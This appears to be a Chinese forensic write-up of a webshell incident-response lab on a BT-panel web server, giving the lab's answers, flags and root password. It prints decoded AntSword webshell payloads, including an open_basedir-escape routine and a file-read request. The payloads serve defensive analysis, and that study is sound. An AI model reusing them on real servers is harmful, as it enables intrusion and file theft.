总字符数: 17.89K

代码: 15.04K, 文本: 1.35K

预计阅读时间: 1.19 小时

背景

前景需要:看监控的石化发现WebShell告警,领导让你上机检查.你可以救救安服仔吗?

这是他的服务器,请你找出以下内容作为通关条件:

  1. 黑客的IP地址 192.168.20.1
  2. 黑客修改的管理员密码 Network@2020
  3. 提交第一次WebShell的连接URL只需要提交参数及值部分: index.php?user-app-register
  4. 提交WebShell连接密码 Network2020
  5. 提交黑客使用的后续上传的木马文件名称 version2.php
  6. 提交数据包中的Flag1 flag1{Network@_2020_Hack}
  7. 提交黑客隐藏的Flag2 flag{bL5Frin6JVwVw7tJBdqXlHCMVpAenXI9In9}
  8. 提交黑客隐藏的Flag3 flag{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}

靶机环境

使用Vmware启动即可,如启动错误,请升级至Vmware17.5以上

相关账户密码:

  1. root/Inch@957821.

信息收集

查看文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
[root@web-server ~]# ll -a
总用量 4676
dr-xr-x---. 6 root root 263 7月 16 18:39 .
dr-xr-xr-x. 20 root root 288 3月 7 11:44 ..
-rw-------. 1 root root 1232 3月 4 09:46 anaconda-ks.cfg
-rw-------. 1 root root 1471 3月 20 15:39 .bash_history
-rw-r--r--. 1 root root 18 12月 29 2013 .bash_logout
-rw-r--r--. 1 root root 176 12月 29 2013 .bash_profile
-rw-r--r-- 1 root root 234 7月 16 18:39 .bashrc
drwxr-xr-x 3 root root 17 3月 7 11:40 .cache
-rw-r--r--. 1 root root 100 12月 29 2013 .cshrc
-rw-r--r-- 1 root root 195 3月 7 11:52 .pearrc
drwxr-xr-x 2 root root 22 3月 7 11:39 .pip
drwxr----- 3 root root 19 3月 7 11:37 .pki
-rw------- 1 root root 1024 3月 7 11:51 .rnd
drwx------ 2 root root 69 3月 20 10:30 .ssh
-rw-r--r--. 1 root root 129 12月 29 2013 .tcshrc
-rw------- 1 root root 984 3月 20 15:03 .viminfo
-rwxr-xr-x 1 root root 1880767 3月 20 15:31 wp
-rw-r--r-- 1 root root 2860888 3月 20 14:43 数据包1.pcapng

[root@web-server ~]# ll -a /tmp/
总用量 28
drwxrwxrwt. 7 root root 4096 7月 16 18:53 .
dr-xr-xr-x. 20 root root 288 3月 7 11:44 ..
-rw-r--r-- 1 root root 2 7月 16 18:43 bmac_008ba4b94bef52e84f51e7b5413f2dfc
-rw-r--r-- 1 root root 10 7月 16 18:43 .fluah_time
drwxrwxrwt. 2 root root 6 3月 4 09:41 .font-unix
drwxrwxrwt. 2 root root 6 3月 4 09:41 .ICE-unix
-rw-r--r-- 1 root root 18 7月 16 16:21 last_files_set_mode.pl
srwxrwxrwx 1 mysql mysql 0 7月 16 18:39 mysql.sock
-rw------- 1 mysql mysql 5 7月 16 18:39 mysql.sock.lock
srw-rw-rw- 1 www www 0 7月 16 18:38 php-cgi-56.sock
-rw------- 1 www www 4717 7月 16 18:54 sess_89mebtdvda26u9f2u8n08hm5qbq1bur3
-rw------- 1 www www 0 7月 16 18:44 sess_rpi1mkkd59ni3stcpdpgqumot1
drwxrwxrwt. 2 root root 6 3月 4 09:41 .Test-unix
drwxrwxrwt. 2 root root 6 3月 4 09:41 .X11-unix
drwxrwxrwt. 2 root root 6 3月 4 09:41 .XIM-unix

发现一个全流量包

查看端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 查看运行了哪些服务,有无外联端口
[root@web-server ~]# netstat -atup
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:http 0.0.0.0:* LISTEN 1218/nginx: master
tcp 0 0 0.0.0.0:ftp 0.0.0.0:* LISTEN 1068/pure-ftpd (SER
tcp 0 0 0.0.0.0:ssh 0.0.0.0:* LISTEN 1025/sshd
tcp 0 0 0.0.0.0:cddbp 0.0.0.0:* LISTEN 1218/nginx: master
tcp 0 0 localhost:smtp 0.0.0.0:* LISTEN 1581/master
tcp 0 0 0.0.0.0:12485 0.0.0.0:* LISTEN 2152/python3
tcp 0 52 web-server:ssh 192.168.11:cns-srv-port ESTABLISHED 2370/sshd: root@pts
tcp6 0 0 [::]:ftp [::]:* LISTEN 1068/pure-ftpd (SER
tcp6 0 0 [::]:ssh [::]:* LISTEN 1025/sshd
tcp6 0 0 localhost:smtp [::]:* LISTEN 1581/master
tcp6 0 0 [::]:mysql [::]:* LISTEN 2114/mysqld
udp 0 0 0.0.0.0:bootpc 0.0.0.0:* 844/dhclient

查看服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
[root@web-server ~]# ll -a /etc/systemd/system/
总用量 8
drwxr-xr-x. 11 root root 4096 3月 7 11:42 .
drwxr-xr-x. 4 root root 151 3月 4 09:41 ..
drwxr-xr-x. 2 root root 57 3月 4 09:41 basic.target.wants
lrwxrwxrwx 1 root root 41 3月 7 11:42 dbus-org.fedoraproject.FirewallD1.service -> /usr/lib/systemd/system/firewalld.service
lrwxrwxrwx. 1 root root 57 3月 4 09:41 dbus-org.freedesktop.nm-dispatcher.service -> /usr/lib/systemd/system/NetworkManager-dispatcher.service
lrwxrwxrwx. 1 root root 37 3月 4 09:45 default.target -> /lib/systemd/system/multi-user.target
drwxr-xr-x. 2 root root 87 3月 4 09:41 default.target.wants
drwxr-xr-x. 2 root root 32 3月 4 09:41 getty.target.wants
drwxr-xr-x. 2 root root 35 3月 4 09:41 local-fs.target.wants
drwxr-xr-x. 2 root root 4096 3月 7 11:42 multi-user.target.wants
drwxr-xr-x. 2 root root 48 3月 4 09:41 network-online.target.wants
drwxr-xr-x. 2 root root 29 3月 4 09:41 sockets.target.wants
drwxr-xr-x. 2 root root 254 3月 4 09:41 sysinit.target.wants
drwxr-xr-x. 2 root root 44 3月 4 09:41 system-update.target.wants

[root@web-server ~]# cd /
[root@web-server /]# ls
bin dev home lib64 mnt patch root sbin sys usr www
boot etc lib media opt proc run srv tmp var

[root@web-server /]# ll /www/
总用量 4
drw------- 6 root root 121 3月 7 12:06 backup
-rw-r--r-- 1 root root 5 3月 7 11:39 disk.pl
drwxr-xr-x 17 root root 267 3月 7 11:53 server
drwx-----x 10 www www 249 3月 7 12:01 wwwlogs
drwxr-xr-x 4 root root 38 3月 7 12:01 wwwroot

[root@web-server /]# ll /www/server/
总用量 12
drwxr-xr-x 2 root root 6 3月 7 11:40 bt_tomcat_web
drwxr-x--- 6 mysql mysql 4096 7月 16 16:35 data
drwxr-xr-x 3 root root 19 3月 7 11:40 go_project
-rw-r--r-- 1 root root 64 3月 7 11:45 lib.pl
drwxr-xr-x 10 root root 222 3月 7 12:01 mysql
drwxr-xr-x 13 root root 231 3月 7 12:01 nginx
drwxr-xr-x 3 root root 19 3月 7 11:40 nodejs
drwxr-xr-x 3 root root 21 3月 7 11:40 other_project
drw------- 16 root root 4096 3月 7 14:39 panel
drwxr-xr-x 3 root root 16 3月 7 11:52 php
drwxr-xr-x 3 root root 59 3月 7 11:53 phpmyadmin
drwxr-xr-x 2 root root 6 3月 7 11:40 proxy_project
drwxr-xr-x 6 root root 71 3月 7 11:51 pure-ftpd
drwxr-xr-x 2 root root 6 3月 7 11:41 pyporject_evn
drwxr-xr-x 3 root root 19 3月 7 11:41 python_project
drwxr-xr-x 2 root root 24 3月 7 11:40 stop

存在宝塔集成环境

历史命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
[root@web-server /]# history 
systemctl disable firewalld
systemctl disable --now firewalld
setenforce 0
vim
vi /etc/sysconfig/selinux
poweroff
ip a
cd /var/
ls
cd ww
cd /home/
ls
mysql
yum install -y wget && wget -O install.sh https://download.bt.cn/install/install_6.0.sh && sh install.sh ed8484bec
BT
bt
ls
cd /www/
cd wwwroot/
cd 127.0.0.1/
cd wwwlogs/
ls
cat 127.0.0.1.log
cd nodejs/
ls
cd ..
ls
cd tcp-error.log
cat tcp-error.log
cat nginx_error.log
cat access.log
cat 127.0.0.1.log
cd /www/
cd wwwlogs/
cat 127.0.0.1.log
bt
cd /www/wwwroot/
cd 127.0.0.1/
rm -rf flag1 1
rm -rf version2.php
ls
hardlink
hwclock
docker ps
rm -rf pe9.sql
cd vendor/
cd 127.0.0.1/
.api
mkdir .api
cd .api/
cd api/
cp * ../.api/
cd .api/
vim mpnotify.php
vim alinotify.php
cat /etc/shadow
who
w
history
useradd flag3{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}
env
$flag3 = [root@web-server .api]# useradd flag3{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}
useradd: invalid user name 'flag3{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}'
$flag3 = flag{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}
vim /etc/profile
source /etc/p
source /etc/profile
env

通过上面的敏感一些文件和命令可以发现一些flag哈哈哈.比如查看一下.api目录

题目的本意是提醒你别忘了看环境变量哦~~~
1
2
3
4
[root@web-server ~]# find / -name .api
/www/wwwroot/127.0.0.1/.api
[root@web-server ~]# cat /www/wwwroot/127.0.0.1/.api/* | grep flag
$flag2 = "flag{bL5Frin6JVwVw7tJBdqXlHCMVpAenXI9In9}";

查看账号

1
2
3
4
5
[root@web-server /]# cat /etc/passwd |grep -v "nologin"
root:x:0:0:root:/root:/bin/bash
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt

分析开机自启程序

1
cat /etc/rc.d/rc*

查看计划或定时任务

1
2
3
cat /etc/crontab 
cat /etc/cron.d/*
cat /var/spool/cron/root

全流量包分析

下载数据包1.pcapng,使用Wireshark分析.在过滤器中输入http随便选中一个流量右键—>追踪流—>TCP流

输入0回车从第一个包开始看

发现是个很典型的蚁剑流量哈,接下来对POST请求体URL解码慢慢分析

我们去index.php代码中看看能不能找的这个参数值并给他删掉

发现啥也没有…

在大型框架或内容管理系统(CMS)中,URL请求的处理方式与简单的文件名加参数不同。这些系统通常使用路由机制来管理URL请求,路由机制允许开发者将特定的URL模式映射到后端的处理函数或控制器上。这意味着,当你访问一个URL时,系统会根据预先定义的路由规则来决定执行哪个功能,而不是直接去查找对应的文件。路由可以由CMS本身的功能提供,也可以由外部框架的功能或注解等方式提供。因此,为了理解或修改URL请求的处理方式,我们需要查看CMS或框架中定义路由的地方,这些地方可能是配置文件、插件设置或特定的注解代码。通过这种方式,系统能够更灵活地响应不同的URL请求,并提供更复杂的逻辑处理。

路由的来源

  1. CMS功能提供的路由:许多CMS,例如WordPress、Joomla等,内置了路由功能,可以通过插件或主题配置自定义路由。
  2. 框架提供的路由:诸如Laravel、Symfony等PHP框架,通常包含强大的路由系统,允许开发者定义复杂的路由规则。
  3. 注解提供的路由:一些框架支持通过注解的方式定义路由,这样路由规则可以直接写在控制器的注释中。

可以发现一句话木马,然后去逐步分析请求体特征

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
@ini_set("display_errors", "0"); // 关闭错误显示
@set_time_limit(0); // 设置脚本执行时间无限制

$opdir = @ini_get("open_basedir"); // 获取 open_basedir 配置
if ($opdir) {
$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]); // 获取当前脚本的目录
$oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir); // 解析 open_basedir 目录,以 ; 或 : 为分隔符
@array_push($oparr, $ocwd, sys_get_temp_dir()); // 将当前目录和临时目录添加到数组

foreach ($oparr as $item) {
if (!@is_writable($item)) {
continue; // 如果目录不可写,跳过循环
}
$tmdir = $item . "/.fd491f470fb7"; // 创建一个临时目录路径
@mkdir($tmdir); // 尝试创建临时目录

if (!@file_exists($tmdir)) {
continue; // 如果临时目录不存在,跳过循环
}

$tmdir = realpath($tmdir); // 获取临时目录的绝对路径
@chdir($tmdir); // 切换到临时目录
@ini_set("open_basedir", ".."); // 将 open_basedir 设置为上一级目录

// 分割目录路径,并遍历每个目录
$cntarr = @preg_split("/\\\\|\//", $tmdir);
for ($i = 0; $i < sizeof($cntarr); $i++) {
@chdir(".."); // 逐级返回上一级目录
}

@ini_set("open_basedir", "/"); // 将 open_basedir 设置为根目录
@rmdir($tmdir); // 删除临时目录
break;
}
}

// 定义一个函数用于编码输出
function asenc($out) {
return $out;
}

// 定义一个函数用于输出内容
function asoutput() {
$output = ob_get_contents(); // 获取输出缓冲区内容
ob_end_clean(); // 清空并关闭输出缓冲区
echo "4a0c" . "dc70"; // 输出固定的标识符
echo @asenc($output); // 输出编码后的内容
echo "db6" . "da5"; // 输出固定的标识符
}

ob_start(); // 开启输出缓冲区

try {
$D = dirname($_SERVER["SCRIPT_FILENAME"]); // 获取当前脚本的目录

if ($D == "") {
$D = dirname($_SERVER["PATH_TRANSLATED"]); // 获取翻译后的路径(兼容性处理)
}

$R = "{$D}\t"; // 初始化结果字符串
if (substr($D, 0, 1) != "/") {
foreach (range("C", "Z") as $L) {
if (is_dir("{$L}:")) {
$R .= "{$L}:"; // 添加Windows盘符
}
}
} else {
$R .= "/"; // 添加根目录
}

$R .= "\t";

// 获取当前用户信息
$u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
$s = ($u) ? $u["name"] : @get_current_user(); // 获取当前用户名或POSIX用户名
$R .= php_uname(); // 获取系统信息
$R .= "\t{$s}"; // 添加用户名

echo $R; // 输出结果
} catch (Exception $e) {
echo "ERROR://" . $e->getMessage(); // 处理异常并输出错误信息
}

asoutput(); // 调用输出函数
die(); // 结束脚本执行

上面这个可能比较复杂,我们接着往下看,可以看到流11

1
@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.b1e668";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "b6"."887";echo @asenc($output);echo "f405"."72be7";}ob_start();try{$F=base64_decode(substr($_POST["x0b6b31b98f31d"],2));$P=@fopen($F,"r");echo(@fread($P,filesize($F)?filesize($F):4096));@fclose($P);;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();&x0b6b31b98f31d=OmL3d3dy93d3dyb290LzEyNy4wLjAuMS9mbGFnMQ==
格式化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php
@ini_set("display_errors", "0"); // 关闭错误显示
@set_time_limit(0); // 设置脚本执行时间无限制

$opdir = @ini_get("open_basedir"); // 获取 open_basedir 配置
if ($opdir) {
$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]); // 获取当前脚本的目录
$oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir); // 解析 open_basedir 目录,以 ; 或 : 为分隔符
@array_push($oparr, $ocwd, sys_get_temp_dir()); // 将当前目录和临时目录添加到数组

foreach ($oparr as $item) {
if (!@is_writable($item)) {
continue; // 如果目录不可写,跳过循环
}
$tmdir = $item . "/.b1e668"; // 创建一个临时目录路径
@mkdir($tmdir); // 尝试创建临时目录

if (!@file_exists($tmdir)) {
continue; // 如果临时目录不存在,跳过循环
}

$tmdir = realpath($tmdir); // 获取临时目录的绝对路径
@chdir($tmdir); // 切换到临时目录
@ini_set("open_basedir", ".."); // 将 open_basedir 设置为上一级目录

// 分割目录路径,并遍历每个目录
$cntarr = @preg_split("/\\\\|\//", $tmdir);
for ($i = 0; $i < sizeof($cntarr); $i++) {
@chdir(".."); // 逐级返回上一级目录
}

@ini_set("open_basedir", "/"); // 将 open_basedir 设置为根目录
@rmdir($tmdir); // 删除临时目录
break;
}
}

// 定义一个函数用于编码输出
function asenc($out) {
return $out;
}

// 定义一个函数用于输出内容
function asoutput() {
$output = ob_get_contents(); // 获取输出缓冲区内容
ob_end_clean(); // 清空并关闭输出缓冲区
echo "b6" . "887"; // 输出固定的标识符
echo @asenc($output); // 输出编码后的内容
echo "f405" . "72be7"; // 输出固定的标识符
}

ob_start(); // 开启输出缓冲区

try {
// 从 POST 请求中读取 base64 编码的文件路径
$F = base64_decode(substr($_POST["x0b6b31b98f31d"], 2));
$P = @fopen($F, "r"); // 打开文件

// 读取文件内容,并输出
echo (@fread($P, filesize($F) ? filesize($F) : 4096));
@fclose($P); // 关闭文件
} catch (Exception $e) {
echo "ERROR://" . $e->getMessage(); // 处理异常并输出错误信息
}

asoutput(); // 调用输出函数
die(); // 结束脚本执行
&x0b6b31b98f31d=OmL3d3dy93d3dyb290LzEyNy4wLjAuMS9mbGFnMQ==

base64_decode(substr($_POST["x0b6b31b98f31d"], 2));获取post key x0b6b31b98f31d的值,然后从第二个字符串开始截取截取到最后一个也就是L3d3dy93d3dyb290LzEyNy4wLjAuMS9mbGFnMQ==然后base64解码得/www/wwwroot/127.0.0.1/flag1哎呀我去,误打误撞发现一个flag

接着看下面的数据流,可以看到黑客访问了此文件,flag1的内容为:flag1{Network@_2020_Hack}

再往下看又会发现一个冰蝎马的流量特征

  1. 冰蝎通讯默认使用长连接,避免了频繁的握手造成的资源开销。默认情况下,请求头和响应头里会带有Connection: Keep-Alive
  2. 请求体看起来向一堆Base64编码的内容但是解出来又是乱码,可以找到Webshell取出密钥进行aes解密

宝塔-Web应急响应

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[root@web-server wwwlogs]# cd /www/wwwlogs/
[root@web-server wwwlogs]# ll -a
总用量 212
drwx-----x 10 www www 249 3月 7 12:01 .
drwxr-xr-x 7 root root 99 3月 7 11:40 ..
-rwx------ 1 www www 12532 3月 20 08:12 127.0.0.1.error.log
-rwx------ 1 www www 93820 3月 20 15:36 127.0.0.1.log
-rwx------ 1 www www 102880 3月 20 14:53 access.log
drwx-----x 2 www www 6 3月 7 11:40 go
drwx-----x 3 www www 24 3月 7 11:40 java
drwx------ 3 www www 17 3月 7 11:47 load_balancing
-rwx------ 1 www www 0 3月 7 11:47 nginx_error.log
drwx-----x 2 www www 6 3月 7 11:40 nodejs
drwx-----x 2 www www 6 3月 7 11:40 other
drwx-----x 2 www www 6 3月 7 11:41 python
drwx------ 2 www www 52 3月 20 08:05 request
-rwx------ 1 www www 0 3月 7 11:47 tcp-access.log
-rwx------ 1 www www 0 3月 7 11:47 tcp-error.log
drwx------ 2 www www 6 3月 7 11:47 waf

分析日志,只有两个IP那么192.168.20.1则为攻击IP

输入bt修改面板密码进入面板,设置网站IP

没有密码,无法登录后台,去数据库里查一查密码